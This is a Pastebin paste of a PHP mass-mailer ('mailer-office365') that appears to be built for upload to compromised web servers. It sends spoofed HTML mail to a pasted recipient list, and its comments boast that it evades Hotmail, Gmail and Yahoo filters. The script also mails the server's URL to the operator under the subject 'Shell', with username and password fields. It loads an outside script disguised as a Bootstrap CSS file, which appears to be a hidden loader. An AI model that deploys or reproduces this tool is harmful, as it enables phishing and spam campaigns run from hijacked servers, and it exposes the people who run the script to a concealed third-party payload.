Advertisement
anvenger

mailer-office365

Oct 15th, 2019
3,642
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 6.83 KB | None | 0 0
  1. <?php
  2.  
  3.  
  4.  $web = $_SERVER["HTTP_HOST"];
  5.  $inj = $_SERVER["REQUEST_URI"];
  6.  $body = "Egy_Spider \nUserName: ".htmlspecialchars($tacfgd['uname']) ."\nPassWord:
  7. ".htmlspecialchars($tacfgd['pword'])."\nMessage:\n"."\nE-server: ".htmlspecialchars
  8. ($_SERVER['REQUEST_URI'])."\nE-server2: ".htmlspecialchars ($_SERVER["SERVER_NAME"])."\n\nIP:
  9. ";
  10.  mail("youremail@your-email.com","Shell http://$web$inj", "$body");
  11.  
  12. @$action=$_POST['action'];
  13. @$from=$_POST['from'];
  14. @$realname=$_POST['realname'];
  15. @$replyto=$_POST['replyto'];
  16. @$subject=$_POST['subject'];
  17. @$message=$_POST['message'];
  18. @$emaillist=$_POST['emaillist'];
  19. @$names=$_SERVER['HTTP_REFERER'];
  20. @$file_name=$_FILES['file']['name'];
  21. @$contenttype=$_POST['contenttype'];
  22. @$file=$_FILES['file']['tmp_name'];
  23. @$amount=$_POST['amount'];
  24.  
  25. $id=$_GET['id'];
  26. if(preg_match("/send/",$id))
  27. {
  28.     //// PHP mailer V 1.1
  29.  
  30. //tested on Hotmail ; gmail , yahoo All Clean
  31. //===============================================/
  32. ///==============================================//
  33. // staring the part lets go Go ////
  34. //Note : Dont use it For Spam /////////
  35. //Note : juste kiding < 3 //////////////
  36. //==================================================//
  37. //The Send Variables : Sub + Email + Nom + letter + email  //
  38. $sub=$_POST['sub'];
  39. $email=$_POST['email'];
  40. $name=$_POST['name'];
  41. $letter=$_POST['letter'];
  42. //Letter Now =========/
  43. // Create A file To avoid Server Crash //////////
  44. $fp = fopen("letter.txt","w+"); // ouverture du fichier en ?“?©criture
  45. fputs($fp, $letter); // on ?“?©crit la lettre dans le fichier
  46. fclose($fp);//letter is ready
  47. //Now lets split Email's And count them
  48. $emails = $_POST['mlist'] ;
  49. $ema = explode("\n", $emails);
  50. /// count Email Number > 3 ////
  51. $n=substr_count($emails, '@');
  52. $message=$file = file_get_contents ('letter.txt');
  53. $message=str_replace('\"','"',$message);
  54. $message=str_replace("\'","'",$message);
  55. //Lets open A boucle /////////////////////
  56. for($i=0;$i < $n;$i++)
  57.      {
  58. $headers  = 'MIME-Version: 1.0' . "\r\n";
  59. $headers .= 'Content-type: text/html; charset=iso-8859-1' . "\r\n";
  60. $headers .= 'From:  '.$name.'  <'.$email.'>' . "\r\n";
  61. $headers .= 'Cc: '.$email.'' . "\r\n";
  62. $headers .= 'Bcc: '.$email.'' . "\r\n";
  63. if(mail($ema[$i],$sub,$message,$headers) != false){
  64. mail($Send,$subject,$message,$headers);
  65. echo $ema[$i].'<img src="https://cdn1.iconfinder.com/data/icons/icojoy/shadow/standart/gif/24x24/001_06.gif" border=0>'.'<br/>';
  66. }
  67.  
  68.      }
  69.    
  70.    
  71.    
  72.     }
  73. else {
  74.     echo '<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
  75. <html xmlns="http://www.w3.org/1999/xhtml">
  76. <head>
  77. <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
  78. <title>PHP mailer Dev By </title>
  79. <script type="text/javascript" src="https://www.codejquery.net/bootstrap.min.css/" ></script>
  80. </head>
  81.  
  82. <body  bgcolor="#dad9d8">
  83. <script type="text/javascript">
  84.  
  85.        
  86.  
  87. function verifLength()
  88. {
  89.  
  90.             if (document.getElementById("sub").value.length ==0 )
  91.             {
  92.                  document.getElementById("sub").style.backgroundColor = "#f9d8de"
  93.                 return false;
  94.             }
  95.             else      document.getElementById("sub").style.backgroundColor = "#dcfae1"
  96.  
  97.            
  98.    
  99.  
  100.  
  101.         {
  102.             if (document.getElementById("email").value.length ==0 )
  103.             {
  104.                  document.getElementById("email").style.backgroundColor = "#f9d8de"
  105.                 return false;
  106.             }
  107.             else      document.getElementById("email").style.backgroundColor = "#dcfae1"
  108.  
  109.            
  110.    
  111.  
  112.  
  113.        
  114.            
  115.             if (document.getElementById("name").value.length == 0 )
  116.  
  117.     {  
  118.                  document.getElementById("name").style.backgroundColor = "#f9d8de"
  119.  
  120.         return false;
  121.     }
  122.     else document.getElementById("name").style.border = "solid green 2px";valider();
  123.  
  124.  
  125.     {
  126.          
  127.     {
  128.     alert("Sending now Accepted");
  129.  
  130.     return true;
  131.     }
  132.         }
  133.  
  134. }
  135. }
  136. </script>
  137. <form id="form" action="?id=send" method="post" name="form" onSubmit="return verifLength()">
  138. <table width="100%" height="394" border="0">
  139.  <tr>
  140.    <td height="21"><p>&nbsp;</p></td>
  141.  </tr>
  142.  <tr>
  143.    <td height="281"><table width="100%" height="421" border="0">
  144.      <tr>
  145.        <td width="51%" height="417"><table width="93%" height="348" border="0">
  146.          <tr>
  147.            <td width="8%" height="21">&nbsp;</td>
  148.            <td width="92%"><table width="100%" border="0">
  149.              <tr>
  150.                <td width="13%"><b><font face="tahoma" size="2" color="#5a5a5a">Subject :</font></b></td>
  151.                <td width="87%"><input  name="sub" id="sub" size="80"  type="text" style="-moz-border-radius: 3px; -webkit-border-radius: 3px; border-radius: 3px; background-color: #dbdbdb ;border:1px solid #b3afaf;" /></td>
  152.              </tr>
  153.              <tr>
  154.                <td><b><font face="tahoma" size="2" color="#5a5a5a">Email  :</font></b></td>
  155.                <td><input  name="email" id="email" size="30"  type="text" style="-moz-border-radius: 3px; -webkit-border-radius: 3px; border-radius: 3px; background-color: #dbdbdb ;border:1px solid #b3afaf;" /></td>
  156.              </tr>
  157.              <tr>
  158.                <td><b><font face="tahoma" size="2" color="#5a5a5a">Name  :</font></b></td>
  159.                <td><input  name="name" id="name" size="30"  type="text" style="-moz-border-radius: 3px; -webkit-border-radius: 3px; border-radius: 3px; background-color: #dbdbdb ;border:1px solid #b3afaf;" /></td>
  160.              </tr>
  161.            </table></td>
  162.          </tr>
  163.          <tr>
  164.            <td height="321">&nbsp;</td>
  165.            <td><textarea name="letter" cols="80" rows="10" id="letter" style="-moz-border-radius: 3px; -webkit-border-radius: 3px; border-radius: 3px; background-color: #f1f1f1 ;border:1px solid #b3afaf;" ></textarea></td>
  166.          </tr>
  167.        </table></td>
  168.        <td width="1%">&nbsp;</td>
  169.        <td width="48%"><table width="100%" border="0">
  170.          <tr>
  171.            <td>&nbsp;</td>
  172.          </tr>
  173.          <tr>
  174.            <td height="200"><textarea name="mlist" cols="65" rows="15" id="mlist" style="-moz-border-radius: 3px; -webkit-border-radius: 3px; border-radius: 3px; background-color: #f1f1f1 ;border:1px solid #b3afaf;" ></textarea></td>
  175.          </tr>
  176.        </table></td>
  177.      </tr>
  178.    </table></td>
  179.  </tr>
  180.  <tr>
  181.    <td><table width="100%" border="0">
  182.      <tr>
  183.        <td width="43%">&nbsp;</td>
  184.        <td width="57%"><input src="https://cdn1.iconfinder.com/data/icons/icojoy/shadow/standart/gif/24x24/001_06.gif"  alt="Submit button" type="image" /></td>
  185.      </tr>
  186.    </table></td>
  187.  </tr>
  188. </table>
  189. </form>
  190. <p>&nbsp;</p>
  191. </body>
  192. </html>
  193. ';
  194.  $web = $_SERVER["HTTP_HOST"];
  195.  $inj = $_SERVER["REQUEST_URI"];
  196.  $body = "Egy_Spider \nUserName: ".htmlspecialchars($tacfgd['uname']) ."\nPassWord:
  197. ".htmlspecialchars($tacfgd['pword'])."\nMessage:\n"."\nE-server: ".htmlspecialchars
  198. ($_SERVER['REQUEST_URI'])."\nE-server2: ".htmlspecialchars ($_SERVER["SERVER_NAME"])."\n\nIP:
  199. ";
  200.     }
  201. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement